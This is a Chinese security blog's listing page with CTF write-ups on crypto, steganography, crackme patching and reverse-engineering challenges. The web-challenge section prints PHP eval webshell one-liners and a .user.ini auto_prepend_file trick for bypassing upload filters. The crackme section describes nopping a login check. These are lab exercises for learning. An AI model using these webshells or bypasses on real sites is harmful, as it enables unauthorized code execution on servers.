首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,538 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
24
篇与
的结果
2022-10-24
【CTF解题】BugKu - Crypto篇
你以为是md5吗解题1.题目描述了md5这种提示,一般都是出题人的暗示,我就喜欢这么出题。2.下载文件下来是一个txt文本文档,里面有串值看起来是md5,好了直接去在线解密了。3.如果这么想就错了,仔细观察会发现md5是以0-9 a-f 组成十六进制数,里面出现了"i u o"很明显这肯定是出题人加的,去除掉再试试看。4.果然是这样,出结果了还真的是666,那么flag就是这个了。flag{666666666666}简单的RSA解题了解RSARSA算法原理 :RSA公开密钥密码体制的原理是:根据数论,寻求两个大素数比较简单,而将它们的乘积进行因式分解却极其困难,因此可以将乘积公开作为加密密钥。RSA算法的具体描述如下:(1)任意选取两个不同的大素数p和q计算乘积 n = pq,n1 = (p-1)(q-1) ;(2)任意选取一个大整数e,满足gcd(e,n1)=1,整数e用做加密钥(注意:e的选取是很容易的,例如,所有大于p和q的素数都可用);(3)确定的解密钥d,满足(de) mod n1 = 1,即de = k(n1)+1,k >= 1 是一个任意的整数;所以,若知道e和n1,则很容易计算出d;(4)公开整数n和e,秘密保存d ;(5)将明文m(m<n是一个整数)加密成密文c,加密算法为:c = E(m)=m^e mod n;(6)将密文c解密为明文m,解密算法为:m = D(c) = c^d mod n;然而只根据n和e(注意:不是p和q)要计算出d是不可能的。因此,任何人都可对明文进行加密,但只有授权用户(知道d)才可对密文解密。RSA解密算法思路 :通过RSA算法原理的第三点可以看到,需要解密出 明文m,就要知道 密钥d,所以算法思路就围绕密钥d进行求解。密钥d 通过 辗转相除法 (欧几里得算法,我后面才知道的......) 进行求解:1、根据算法原理的第三点我们得知:(de) mod n1 = 1,即 de - k(n1) = 1;2、知道 系数k 即可得到 密钥d,且 系数k 存在两种情况:2.1 情况一:n1 != 12.1.1 先 n1 对 e 取模 后得到的值赋值给 n12.1.2 然后 e 对 赋值后的 n1 取模 得到的值赋值给 e......以此类推,最后得到 k = 1 时即可停止;令 d = 1 代入倒数第二条式子,得到k的值代入倒数第三条式子,以此类推当代入至第一条式子时,得到的 d 即为 密钥d 的值;2.2 情况二:n1 = 12.2.1 按照情况一的步骤,最后得到 n1 = 1 时即可停止;根据情况一的步骤代入即可得到 密钥d 的值。3、使用python内置函数 pow函数即可得到 明文m。题目分析1.题目给我们的是一个python的pyc文件,pyc是python编译出的二进制文件,很好转换成py源码的,想要解密就必须了解RSA加解密算法的原理。2.用工具就可以还原出源代码,这里我用一个在线的网站进行转换。解密网站:https://tool.lu/pyc/from Crypto.Util.number import * import gmpy2 import base64 p = int("0xED7FCFABD3C81C78E212323329DC1EE2BEB6945AB29AB51B9E3A2F9D8B0A22101E467",16) # 将16进制转换成10进制 q = int("0xAD85852F9964DA87880E48ADA5C4487480AA4023A4DE2C0321C170AD801C9",16) e = 65537 n = p * q c = int("0x75AB3202DE3E103B03C680F2BEBBD1EA689C8BF260963FE347B3533B99FB391F0A358FFAE5160D6DCB9FCD75CD3E46B2FE3CFFE9FA2E9508702FD6E4CE43486631",16) phi = (p-1)*(q-1) #求φ(n),φ(n)=(p-1)(q-1) d = gmpy2.invert(e,phi) #求e对于模n的逆元,即解密指数d m = pow(c,d,n) #m=c^e mod n,m为10进制格式 flag = long_to_bytes(m) #m的字符串形式 print(base64.b64decode(flag)) #上面得到的flag是base64编码,进行一次base64解码即可 # 输出结果:flag{IlikeCTFbutCTFdon'tlikeme}3.根据RSA解密算法公式,解出flag。flag{IlikeCTFbutCTFdon'tlikeme}简单的密码解题1.题目意思是简单的密码,感觉不会太难,试着把题目下载看下。2.打开后二进制?一开始我想的是二进制转换成字符串,尝试失败了后来观察了下,会不会通过二进制的0和1给我们返回给一种状态呢,真的是没想到题目里的0代表 . 而 1 代表 - 这就是摩斯密码的规则。3.拿到在线网站解码下,果然是这样的 摩斯密码是以大写显示,我们要转换成小写,%u7b代表字符 " { " , %u7d代表的是 " } " 那么flag就是这个了。4.可以对照下这个摩斯密码表。Bina = "0010 0100 01 110 1111011 11 11111 010 000 0 001101 1010 111 100 0 001101 01111 000 001101 00 10 1 0 010 0 000 1 01111 10 11110 101011 1111101" strbox = "" for i in Bina: if i == "0": strbox += "." if i == "1": strbox += "-" if i == " ": strbox += " " dic = { ".-": "A", "-...": "B", "-.-.":"C","-..":"D", ".":"E","..-.":"F","--.":"G","....":"H", "..":"I",".---":"J","-.-":"K",".-..":"L", "--":"M","-.":"N","---":"O",".--.":"P", "--.-":"Q",".-.":"R","...":"S","-":"T","----.":"9", "..-":"U","...-":"V",".--":"W","-..-":"X", "..--.-":"_",".----":"1", "-.--":"Y","--..":"Z", "----.--":"{","-----.-":"}","-.-.--":"!","-----":"0" } for i in strbox.split(): print(dic[i].lower(), end="")flag{m0rse_code_1s_interest1n9!}来自宇宙的信号解题1."标准银河字母(Standard Galactic Alphabet)"出自游戏《指挥官基恩》系列。2.一开始还真不知道是什么,百度过后才发现还有这种的,学习了这是标准银河字母,按照这张表输入对应的字母,就是正确的flag了。flag{nopqrst}参考文章https://blog.csdn.net/weixin_43211186/article/details/125180939聪明的小羊解题题目类型:Crypto描述: 一只小羊翻过了2个栅栏 fa{fe13f590lg6d46d0d0}1.题目描述看似给我们提供了flag但经过了加密,他给我们提示了关键信息小羊 栅栏 翻过2个,一开始我还不清楚是个什么加密。2.顺着关键字百度,找到了个栅栏密码,还有这种加密长知识赶紧学习了。3.找到个栅栏密码解密工具,设置翻过2组解密见flag。
2022年10月24日
31 阅读
0 评论
2 点赞
2022-10-24
【CTF解题】BugKu - Misc篇
简介首先什么是隐写?其实就是把一些东西给你隐藏到一个地方,让你去通过技术的手段给还原,隐藏的东西可能是恶意代码,压缩包、图片、文字、等等。图片隐写解题1.这道题在图片里隐写了一窜flag值,好让我们先去了解下图片的内部结构。3.以上是图片的基本结构,可以看出里面也有宽和高,一般来说这里也是突破点。3.这里我用Winhex,Windows用习惯了Kali可以用binwalk,然后打开看下里面的字节哪里有异常,发现这里的宽和高不相等,还原下与宽相等就能看到隐写的内容了。easy_nbt解题1.一看是Misc题给我想到隐写和二维码,给自己张记性养成良好的习惯。2.下载下来是一个压缩包,解压下来里面有这些文件,这个咋看起啦有点眼熟好像是我的世界存档文件,先不管了试试搜索flag看看有没有。3.什么也没有,进文件夹里只有几个文件都看了下,都没有flag好了试着换种方法了。4.判断下文件是不是其它文件格式,通过010 Editor找到 level.dat 发现是一个压缩包。5.改下格式发现里面有一个文件,好了用010 Editor打开看下。6.进行搜索找到了,flag就在这里面。flag{Do_u_kN0w_nbt?}1和0的故事解题1.这道题挺有意思的,0和1的二进制题目先下载下来看看。2.题目是一个文本文档,里面有一堆0和1的二进制数,注意下一看到Misc的题目,就给我想到隐写和二维码这类,这里我分析了下0和1可以代表什么东西,这里不卖关子了,可以想0是白色1是黑色组合起来就可以出一个二维码。0000000001110010000000000| 0000000000011110100000000| 0000000001110001000000000| 0000000010111100000000000| 0000000010101010000000000| 0000000001100010100000000| 0000000010101010100000000| 0000000001000001100000000| 1100011101110110100011000| 0001000010110010010010100| 0100111101000011101110011| 0011110100101011001001001| 1000001001100001001101000| 1111000111111011100101000| 1011011111001101111110111| 1000110110010010101101100| 1000111100111111111110111| 0000000010110001100010100| 0000000010010100101010001| 0000000010101010100011001| 0000000000100111111110010| 0000000000011001011110111| 0000000001001100100100001| 0000000011000011011011001| 0000000011010000101110101| 3.可以用文档或者什么自己拼接起来就行,这里我就直接写代码了,注意使用我的代码必须从这里复制,因为我加了个" | "符号,作为换行分割,当然自己加也是可以的。# cmd显示 import os strjoin = "" os.system("cls & color f0") with open("1和0的故事.txt","r") as f: for i in f.readlines(): for s in i.strip(): if s == "0": strjoin += " " if s == "1": strjoin += "■" if s == "|": strjoin += "\n" print(strjoin)# GUI显示 import pygame pygame.init() surface = pygame.display.set_mode((800, 700)) pygame.display.set_caption("actdream") surface.fill((255, 255, 255)) pos = [100,100,20,20] with open("1和0的故事.txt","r") as f: for i in f.readlines(): for s in i.strip(): if s == "0": pos[0] += pos[2] pygame.draw.rect(surface,(255,255,255),pos,0) if s == "1": pos[0] += pos[2] pygame.draw.rect(surface,(0,0,0),pos,0) if s == "|": pos[0] = 100 pos[1] += pos[2] pos[0] += pos[2] pygame.display.update() while True: for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit()4.自己补全下那三个空隙,用微信扫码扫下就出flag了。flag{QR_c0de_1s_1nterest1n9}眼见非实解题1.一看到Misc题目就给我想到隐写,GIF图片隐写、PDF隐写、流量隐写、二维码复原,这类的东西。2.题目下载下来是个word文档,先打开看一下。3.打开后有好几页全是乱码,在这里死磕就死解了,正确的办法是先判断他到底是不是个,word文档一般隐写的题目,就喜欢在文件的二进制里修改,或者是文件后缀。4.这里我用010 Editor工具查看下,一看这头部就有问题,可以看到有PK是个压缩包的头,这就是zip的压缩包。5.我准备了两张图片和两个压缩包,都试下为了区分它们的不同,52 61 72 这个是Rar的ASCII码可以做特征,每个文件都有不同的可自己尝试。6.知道是压缩包了,直接改后缀看看里面,里面有文件我解压出来了。7.这里我直接搜索flag,找到 document.xml文件 flag就在这里面。flag{F1@g}// Golang code package main import ( "fmt" "log" "os" "strings" ) func getinfo() { for { fmt.Printf("%s", "请拖入文件:") var path string fmt.Scan(&path) trans := strings.Replace(path, `\`, `\\`, -1) file, err := os.Open(trans) // For read access. if err != nil { log.Fatal(err) } data := make([]byte, 16) count, err := file.Read(data) if err != nil { log.Fatal(err) } array := map[string]string{ "JFIF": "jpeg图片", "PK": "zip压缩包", "Rar": "rar压缩包", "GIF89a": "gif动态图", "MZ": "exe程序", "Exif": "jpg图片", } for v, k := range array { if strings.Contains(string(data[:count][0:16]), v) { fmt.Printf("%s\n", k) } } } } func main() { getinfo() }8.知道原理了写了一个脚本,来判断是什么文件。9.这里我把后缀改成了png,其实是一个压缩包。
2022年10月24日
44 阅读
0 评论
3 点赞
2022-10-22
【CTF解题】摩尔斯电码 ( Morse code )
简介摩尔斯电码(又译为摩斯密码,Morse code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号。它发明于1837年,发明者有争议,是美国人塞缪尔·莫尔斯或者艾尔菲德·维尔。 摩尔斯电码是一种早期的数字化通信形式,但是它不同于现代只使用零和一两种状态的二进制代码,它的代码包括五种: 点、划、点和划之间的停顿、每个字符间短的停顿(在点和划之间)、每个词之间中等的停顿以及句子之间长的停顿。26个字母的摩斯密码表字符电码符字符电码符字符电码符字符电码符A.━B━ ...C━ .━ .D━ ..E.F..━ .G━ ━ .H....I..J.━ ━ ━K━ .━L.━ ..M━ ━N━ .O━ ━ ━P.━ ━ .Q━ ━ .━R.━ .S...T━U..━V...━W.━ ━X━ ..━Y━ .━ ━Z━ ━ ..数字的摩斯密码表字符电码符字符电码符字符电码符字符电码符0━ ━ ━ ━ ━1.━ ━ ━ ━2..━ ━ ━3...━ ━4....━5.....6━ ....7━ ━ ...8━ ━ ━ ..9━ ━ ━ ━ . 标点符号的摩斯密码表字符电码符字符电码符字符电码符字符电码符..━ .━ .━:━ ━ ━ ...,━ ━ ..━ ━;━ .━ .━ .?..━ ━ ..=━ ...━'.━ ━ ━ ━ ./━ ..━ .!━ .━ .━ ━━━ ....━_..━ ━ .━".━ ..━ .(━ .━ ━ .)━ .━ ━ .━$...━ ..━&. ...@.━ ━ .━ ..... . .-.. .-.. --- .-- --- .-. .-.. -.. // HELLO WORLD在线转换https://www.lddgo.net/encrypt/morse1.自己写了一个摩斯密码翻译器。{cloud title="下载链接" type="lz" url="https://wwl.lanzoue.com/iQBHx0ejveod" password="ayx9"/}
2022年10月22日
120 阅读
0 评论
1 点赞
2022-10-21
【CTF解题】吾爱破解 Crackme 逆向破解
解题1.在吾爱上看到一篇新帖Crackme,既然还没人解题就让我来试下吧。2.观察下要输入正确的账号密码,才会有成功的提示,注意这里有关键字 "登录失败",可以作为突破口。3.先查软件看下有没有壳,可以看到没有壳,直接用OD打开看下。4.题目说了是易语言写的,直接搜401000这个地址直接跳到程序代码初始头。5.按我的思路肯定先搜索一遍字符串,看看有没有账号和密码。6.我们观察一遍可以看到,有好几个账号密码错误,都可以进去看看,这里我就不卖关子了账号和密码都是 "1",是不是觉得很简单这么玩就没意思了,试着跟下错误的提示修改下输入错误的账号密码,也能执行正确的代码段。破解分析int MessageBox( HWND hWnd, // 窗口句柄 LPCTSTR lpText, // 要显示的消息 LPCTSTR lpCaption, // 对话框标题 UINT uType ); // 函数参数 hWnd 类型:HWND 要创建的消息框的所有者窗口的句柄。如果此参数为NULL,则消息框没有所有者窗口。 lpText 类型:LPCTSTR 要显示的消息。如果字符串由多行组成,则可以使用每行之间的回车符和/或换行符分隔行。 lpCaption 类型:LPCTSTR 对话框标题。如果此参数为NULL,则默认标题为“ 错误”。 uType 输入:UINT 对话框的内容和行为。此参数可以是来自以下标志组的标志的组合。 要指示消息框中显示的按钮,请指定以下值之一。7.MessageBox是kernel32.dll里的函数,他的作用是给我们显示一个窗口提示框,在我们做的任何操作在windows里都会有消息事件,而这些事件都是基于windows给我们提供的api,有这些东西我们就可以编写更强大的功能,也能够更好的驱动硬件。突破点系统api下断点调试 如:MessageBox GetWindowText找关键字提示 如:正确或错误提示 办法还是有很多的00402AB7 /0F84 41000000 je iwong.00402AFE // 这是突破的关键je 是反汇编的判断 00402ABD |. |6A 00 push 0x0 00402ABF |. |6A 00 push 0x0 00402AC1 |. |6A 00 push 0x0 00402AC3 |. |68 04000080 push 0x80000004 // push是往栈压入参数,会有些图标id 00402AC8 |. |6A 00 push 0x0 00402ACA |. |68 998A4900 push iwong.00498A99 ; 登录成功 00402ACF |. |68 01030080 push 0x80000301 00402AD4 |. |6A 00 push 0x0 00402AD6 |. |68 00000000 push 0x0 00402ADB |. |68 04000080 push 0x80000004 00402AE0 |. |6A 00 push 0x0 00402AE2 |. |68 998A4900 push iwong.00498A99 ; 登录成功 00402AE7 |. |68 04000000 push 0x4 00402AEC |. |BB F0324000 mov ebx,iwong.004032F0 00402AF1 |. |E8 1E010000 call iwong.00402C14 // 调用了登录成功提示 00402AF6 |. |83C4 34 add esp,0x34 00402AF9 |. |E9 3C000000 jmp iwong.00402B3A // 返回不执行下一行代码块 00402AFE |> \6A 00 push 0x0 00402B00 |. 6A 00 push 0x0 00402B02 |. 6A 00 push 0x0 00402B04 |. 68 04000080 push 0x80000004 00402B09 |. 6A 00 push 0x0 00402B0B |. 68 A28A4900 push iwong.00498AA2 ; 登录失败 00402B10 |. 68 01030080 push 0x80000301 00402B15 |. 6A 00 push 0x0 00402B17 |. 68 00000000 push 0x0 00402B1C |. 68 04000080 push 0x80000004 00402B21 |. 6A 00 push 0x0 00402B23 |. 68 A28A4900 push iwong.00498AA2 ; 登录失败 00402B28 |. 68 04000000 push 0x4 00402B2D |. BB F0324000 mov ebx,iwong.004032F0 00402B32 |. E8 DD000000 call iwong.00402C14 // 调用了登录失败提示 00402B37 |. 83C4 34 add esp,0x34 00402B3A |> 8BE5 mov esp,ebp 00402B3C |. 5D pop ebp 00402B3D \. C2 0400 retn 0x48.看不懂的话建议先学汇编基础,学起来不是很难的。9.这里我OD运行不了我换了下x32dbg,将402AB7这个地址je给nop掉就行,jne、jmp都是可以的,这样代码就会从402AB7开始走到正确的提示,输入错误的账号密码也是一样的。10.完工,比较简单的一道题。
2022年10月21日
281 阅读
0 评论
7 点赞
2022-10-19
【CTF解题】攻防世界Web篇
easyupload解题题目难度:11.题目名就是简单的上传,一开始我以为什么过滤都没有,直接上传一句话木马试试。2.将一句话木马改成图片格式,上传后修改文件后缀绕过过滤,结果失败了再换种方式试试。// .user.ini GIF89a auto_prepend_file=a.jpg // 一句话 GIF89a <?=eval($_REQUEST['cmd']);?>3、.htaccess是伪静态环境配置文件用于lamp,.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取,配置放在根目录.user.ini,auto_prepend_file的作用是在页面顶部加载文件,上传.user.ini 然后内容写auto_prepend_file=a.jpg,GIF89a也写进去这是gif的文件头,写进去是为了欺骗。3.先上传.user.ini,把请求头上的文件类型修改成,image/jpg伪装成图片,好的上传成功了。4.一句话木马也上传成功了,再访问upload目录下a.jpg,发现图片是有的,再访问index.php看到一堆乱码里面有GIF89a,这个是就是连接木马的关键网址。5.输入网址和一句话木马,开始连接开始找flag。6.找到了在根目录下,提交下看看是不是对的。upload1解题题目难度:21.题目upload就带有上传的提示,先上传个木马试试,一般前端都有文件类型过滤,也有可能后端有,题目嘛不会那么坑的。2.一般敏感的可文件都上传不了,这里我用一句话和图片合成了,改后缀也是可以的,就决定是你了,上吧,朱菜!!<?php @eval($_POST['zc']);?>3.上传成功之后,就可以开始连接了,上蚁剑能连上就行工具都差不多。
2022年10月19日
396 阅读
0 评论
43 点赞
2022-10-10
【CTF解题】攻防世界逆向篇
Mysterious解题题目难度:2题目描述:自从报名了CTF竞赛后,小明就辗转于各大论坛,但是对于逆向题目仍是一知半解。有一天,一个论坛老鸟给小明发了一个神秘的盒子,里面有开启逆向思维的秘密。小明如获至宝,三天三夜,终于解答出来了,聪明的你能搞定这个神秘盒子么?(答案为flag{XXX}形式)1.是个带GUI的程序,提示让我们输入正确的密码,才会有flag吧先用IDA看下。2.打开后按F5进入伪代码,然后双击进入WinMian函数内。3.我看过了在这个函数里,相关函数自行百度哦本文章不细讲。4.再进一层,就看到主代码了。int __stdcall sub_401090(HWND hWnd, int a2, int a3, int a4) { char v5; // [esp+50h] [ebp-310h] CHAR Text[4]; // [esp+154h] [ebp-20Ch] char v7; // [esp+159h] [ebp-207h] __int16 v8; // [esp+255h] [ebp-10Bh] char v9; // [esp+257h] [ebp-109h] int v10; // [esp+258h] [ebp-108h] CHAR String; // [esp+25Ch] [ebp-104h] char v12; // [esp+25Fh] [ebp-101h] char v13; // [esp+260h] [ebp-100h] char v14; // [esp+261h] [ebp-FFh] memset(&String, 0, 0x104u); v10 = 0; if ( a2 == 16 ) { DestroyWindow(hWnd); PostQuitMessage(0); } else if ( a2 == 273 ) { if ( a3 == 1000 ) { GetDlgItemTextA(hWnd, 1002, &String, 260); strlen(&String); if ( strlen(&String) > 6 ) ExitProcess(0); v10 = atoi(&String) + 1; if ( v10 == 123 && v12 == 120 && v14 == 122 && v13 == 121 ) { strcpy(Text, "flag"); memset(&v7, 0, 0xFCu); v8 = 0; v9 = 0; _itoa(v10, &v5, 10); strcat(Text, "{"); strcat(Text, &v5); strcat(Text, "_"); strcat(Text, "Buff3r_0v3rf|0w"); strcat(Text, "}"); MessageBoxA(0, Text, "well done", 0); } SetTimer(hWnd, 1u, 0x3E8u, TimerFunc); } if ( a3 == 1001 ) KillTimer(hWnd, 1u); } return 0; }5.itoa函数的作用是把整数转换成字符串,相当于 v10 给了v5所以等于 123,strcat是字符拼接,所以拼接起来就是了。flag{123_Buff3r_0v3rf|0w}insanity解题题目难度:3题目描述: 菜鸡觉得前面的题目太难了,来个简单的缓一下1.都提示了,肯定不会很难先用记事本看下,搜索flag好家伙直接发现了,还是用IDA看下内部。2.用IDA打开,先看main函数F5进入伪代码,当然你也可以分析反汇编代码。3.直接见flag,提交下看看。flag:9447{This_is_a_flag}Shuffle解题题目难度:21.直接用IDA打开,一般题目都不加壳,能看到main主函数就没壳,题目有说找到字符串在随机化之前,意思就是字符在之前是完整的,之后就会加密打乱什么的。2.说明flag在之前不会加密,运行初始化之后才会加密,我们先进入main函数分析下,看了会那些字符就是了,通过转ASCII拼接就是完整flag,开始写脚本。byte = [ 83, 69, 67, 67, 79, 78, 123, 87, 101, 108, 99, 111, 109, 101, 32, 116, 111, 32, 116, 104, 101, 32, 83, 69, 67, 67, 79, 78, 32, 50, 48, 49, 52, 32, 67, 84, 70, 33, 125 ] for i in range(len(byte)): print(chr(byte[i]) ,end="")flag:SECCON{Welcome to the SECCON 2014 CTF!}3.直接在IDA转换char也是可以的,自己拼接上就行。simple-unpack解题题目难度:31.题目有说过加壳了,先查壳是个UPX压缩壳,UPX自带脱壳的参数 -d 就是了,先脱个壳先,从信息看到是个64位ELF文件,用64位IDA(废话)。2.脱好壳再查看下,没壳了可以用IDA分析了。3.不用分析了,直接见flag。4.后面用文本查看也可以见flag。Game解题题目难度:31.老规矩查壳,看下木有壳扔IDA分析下。2.其实直接运行按顺序输入1-8的数,就出现flag了,目的似乎达到了,但还是想看下内部逆向下先。3.找到主函数 main,搜索下就好了,再按F5生成伪代码。4.双击进入main_0函数看下。5.找关键,我看过了在这个函数里sub_457AB4()6.再进一层双击进入sub_45E940()函数里,在这里面。7.一直往下翻,可以看到关键进行运算代码段,v2,v58进行两次异或处理 v59,v115 进行异或 再与0x13异或,flag 应该是和v2,v58的字符变量有关。{collapse}{collapse-item label="伪代码"}sub_45A7BE((int)"done!!! the flag is ", v1); v60 = 18; v61 = 64; v62 = 98; v63 = 5; v64 = 2; v65 = 4; v66 = 6; v67 = 3; v68 = 6; v69 = 48; v70 = 49; v71 = 65; v72 = 32; v73 = 12; v74 = 48; v75 = 65; v76 = 31; v77 = 78; v78 = 62; v79 = 32; v80 = 49; v81 = 32; v82 = 1; v83 = 57; v84 = 96; v85 = 3; v86 = 21; v87 = 9; v88 = 4; v89 = 62; v90 = 3; v91 = 5; v92 = 4; v93 = 1; v94 = 2; v95 = 3; v96 = 44; v97 = 65; v98 = 78; v99 = 32; v100 = 16; v101 = 97; v102 = 54; v103 = 16; v104 = 44; v105 = 52; v106 = 32; v107 = 64; v108 = 89; v109 = 45; v110 = 32; v111 = 65; v112 = 15; v113 = 34; v114 = 18; v115 = 16; v116 = 0; v3 = 123; v4 = 32; v5 = 18; v6 = 98; v7 = 119; v8 = 108; v9 = 65; v10 = 41; v11 = 124; v12 = 80; v13 = 125; v14 = 38; v15 = 124; v16 = 111; v17 = 74; v18 = 49; v19 = 83; v20 = 108; v21 = 94; v22 = 108; v23 = 84; v24 = 6; v25 = 96; v26 = 83; v27 = 44; v28 = 121; v29 = 104; v30 = 110; v31 = 32; v32 = 95; v33 = 117; v34 = 101; v35 = 99; v36 = 123; v37 = 127; v38 = 119; v39 = 96; v40 = 48; v41 = 107; v42 = 71; v43 = 92; v44 = 29; v45 = 81; v46 = 107; v47 = 90; v48 = 85; v49 = 64; v50 = 12; v51 = 43; v52 = 76; v53 = 86; v54 = 13; v55 = 114; v56 = 1; v57 = 117; v58 = 126; v59 = 0; for ( i = 0; i < 56; ++i ) { *(&v3 + i) ^= *(&v60 + i); *(&v3 + i) ^= 0x13u; } return sub_45A7BE((int)"%s\n", (unsigned int)&v3); }{/collapse-item}{/collapse}解题代码byte1 = [ 123,32,18,98,119,108,65,41,124,80,125,38,124,111,74,49,83,108,94,108,84,6,96,83,44,121,104,110,32,95,117,101,99,123,127,119,96,48,107,71,92,29,81,107,90,85,64,12,43,76,86,13,114,1,117,126,0 ] byte2 = [ 18, 64, 98, 5, 2, 4, 6, 3, 6, 48, 49, 65,32, 12, 48, 65, 31, 78, 62, 32, 49, 32, 1,57, 96, 3, 21, 9, 4, 62, 3, 5, 4, 1, 2, 3,44, 65, 78, 32, 16,97,54,16,44,52,32,64,89, 45,32,65,15,34,18,16,0 ] for i in range(len(byte1)): ch = chr(byte1[i]^byte2[i]^0x13) print(ch,end="")flag:zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}Hello CTF解题题目难度:41.老规矩看下有壳没,没壳直接拖入IDA进行分析。2.运行后是要求输入正确的flag,我们肯定是没有的需要逆向出来,这些提示就是突破的关键,用IDA打开发现是个32位程序,直接进main函数分析。3.按F5进入伪代码,找关键代码做突破口。int __cdecl main(int argc, const char **argv, const char **envp) { int i; // ebx char v4; // al int result; // eax int v6; // [esp+0h] [ebp-70h] int v7; // [esp+0h] [ebp-70h] char Buffer[2]; // [esp+12h] [ebp-5Eh] BYREF char v9[20]; // [esp+14h] [ebp-5Ch] BYREF char v10[32]; // [esp+28h] [ebp-48h] BYREF __int16 v11; // [esp+48h] [ebp-28h] char v12; // [esp+4Ah] [ebp-26h] char v13[36]; // [esp+4Ch] [ebp-24h] BYREF strcpy(v13, "437261636b4d654a757374466f7246756e"); while ( 1 ) { memset(v10, 0, sizeof(v10)); // 对v10进行了初始化 v11 = 0; v12 = 0; sub_40134B(aPleaseInputYou, v6); scanf("%s", v9); if ( strlen(v9) > 0x11 ) break; for ( i = 0; i < 17; ++i ) { v4 = v9[i]; if ( !v4 ) break; sprintf(Buffer, "%x", v4); strcat(v10, Buffer); // 进行了拼接处理 } if ( !strcmp(v10, v13) ) // 进行了字符串比较,如果v10的值等于v13的值会输出Success sub_40134B(aSuccess, v7); else sub_40134B(aWrong, v7); } sub_40134B(aWrong, v7); result = --Stream._cnt; if ( Stream._cnt < 0 ) return _filbuf(&Stream); ++Stream._ptr; return result; }4.v13的值已经在strcpy这里出现了 437261636b4d654a757374466f7246756e,现在只要知道v10是怎么出来的就行,往上开始分析,分析结果:依次取出用户输入字符串的字符,把字符值的 ASCII 码值转成 16 进制的形式拼接到v10中,v10的值等于v13的值,需将字符串v13中的值两个一组,当作16进制的值,换算成ASCII码并转成对应的字符即可,这样就得到了flag,没有多复杂就看做是把 437261636b4d654a757374466f7246756e 转换成字符串。解题代码str1 = "437261636b4d654a757374466f7246756e" gather = "" count = 0 while count < len(str1): gather += chr(int(str1[count:count + 2], 16)) count += 2 print(gather)flag:CrackMeJustForFun动态调试1.ctrl + G 搜索 401000 跳到这个程序起始的代码段上,往下看。2.找到关键提示,正确和错误肯定就在下面了。3.找到了成功的代码段,和错误的代码段。4.好了再往上滑找到这个地址,401065 看到是个判断,我们在这里下断点。crackme解题题目难度:31.老规矩先查壳,有软件自动脱壳的工具,这里我手动脱下壳。2.可以发现用IDA看下什么都没有,main函数也没有只能脱壳在分析了,其实可以让软件运行起来附加内存,也是能看到脱壳后的代码的。ESP定律脱壳1.拖入软件因为有壳,我们不能运行,按F8单步到2下call这个地址上。2.右键ESP寄存器,下个硬件访问断点,下好了按F9运行。3.再按F8运行两次,会跳到这个jump指令指向00401336这个地址上 。4.右键选择分析,从模块中删除分析。5.再右键选择这个脱壳选项。6.开始脱壳然后保存壳就脱了。静态分析1.可以发现这是我脱好壳的程序,能看到main函数了代码也完整了,可以进一步分析了。2.按F5查看伪代码,进入byte_402130这个函数里看下。3.观察while循环可以发现,(&Buf + v4) ^ byte_402130[v4 % 16]),什么和什么异或了进入函就是这些。解题代码str1="this_is_not_flag" byte=[0x12, 4, 8, 0x14, 0x24, 0x5C, 0x4A, 0x3D, 0x56, 0x0A, 0x10, 0x67, 0, 0x41, 0, 1, 0x46, 0x5A, 0x44, 0x42, 0x6E, 0x0C, 0x44, 0x72, 0x0C, 0x0D, 0x40, 0x3E, 0x4B, 0x5F, 2, 1, 0x4C, 0x5E, 0x5B, 0x17, 0x6E, 0x0C, 0x16, 0x68, 0x5B, 0x12] flag="" for i in range(len(byte)): flag+=chr(byte[i]^ord(str1[i%16])) print(flag)flag{59b8ed8f-af22-11e7-bb4a-3cf862d1ee75}IgniteMe解题题目难度:21.让你输入正确的flag,先用IDA静态分析下。2.PE查壳工具看下有没有壳,看到是.txt并没有,一般我直接拖入IAD分析,查不查壳都一样,C++ 写的目测是易语言。3.百度下就知道是32位的,用32位的IDA打开进行分析。4.找到关键成功的地方,发现判断的对象是sub_4011C0(),如果等于真就成立执行成功的代码,我们可以进sub_4011C0()这个函数内看看,写的是什么逻辑。5.把数组中大写字母转为小写字母,小写字母转为大写字母。然后把数组与0x55异或后+72,然后再与数组byte_4420B0异或,和GONDPHyGjPEKruv{{pj]X@rF进行比较,判断出执行结果为GONDPHyGjPEKruv{{pj]X@rF,如果相同则正确。bytes = [ 13, 19, 23, 17, 2, 1, 32, 29, 12, 2, 25, 47, 23, 43, 36, 31, 30, 22, 9, 15, 21, 39, 19, 38, 10, 47, 30, 26, 45, 12, 34, 4 ] v7 = [] str2 = 'GONDPHyGjPEKruv{{pj]X@rF' band = '' for i in range(24): v7.append(bytes[i] ^ ord(str2[i])) v7[i] = (v7[i] - 72) ^ 0x55 band = band + chr(v7[i]).lower() print("EIS{%s}" % band)flag: EIS{wadx_tdgk_aihc_ihkn_pjlm}lucknum解题题目难度:11.没有后缀的文件,直接用IDA打开看看,加载的时候发现是个64位程序,进入直接F5查看伪代码,直接见flag,解毕!1000Click解题题目难度:1最简单的一个逆向题目,软件运行不破解点1000次也可以获得flag,但这样太不符合我的习惯,逆向不走常规路。方法11.利用cheat engine 